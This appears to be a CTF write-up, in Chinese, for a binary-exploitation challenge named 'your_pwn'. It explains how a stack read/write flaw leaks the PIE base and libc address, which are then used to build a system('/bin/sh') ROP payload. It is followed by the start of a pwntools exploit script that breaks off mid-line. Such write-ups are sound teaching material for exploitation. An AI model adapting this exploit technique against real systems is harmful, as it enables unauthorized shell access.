your_pwn
溢出点在图的循环中,通过输入v1,可以任意打印栈上的内容,通过输入v2,可以实现向栈上写,每次只能写一个字节,即8bit。
通过漏洞打印出ret地址,得到代码段的基址,然后通过puts打印出puts_got,泄露出libc的地址,然后构造system("/bin/sh")的payload,然后getshell
from pwn import *
context.log_level = 'debug'
pop_rdi_ret = 0xd03
r = process("./yourpwn")
#r = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
gdb.attach(r)
r.recvuntil("name:")
r.sendline(“xxxxx")
def get(p):#找到pie地址(因为pie保护的缘故,每一次的基址都不同,泄漏出某个函数的返回地址减去到基址的偏移,算出来的就是pie基址。
i = 0
ll = 0
while(1):
r.recvuntil("index\n")
r.sendline(str(i + p))
data = r.recvuntil("value\n")[:-1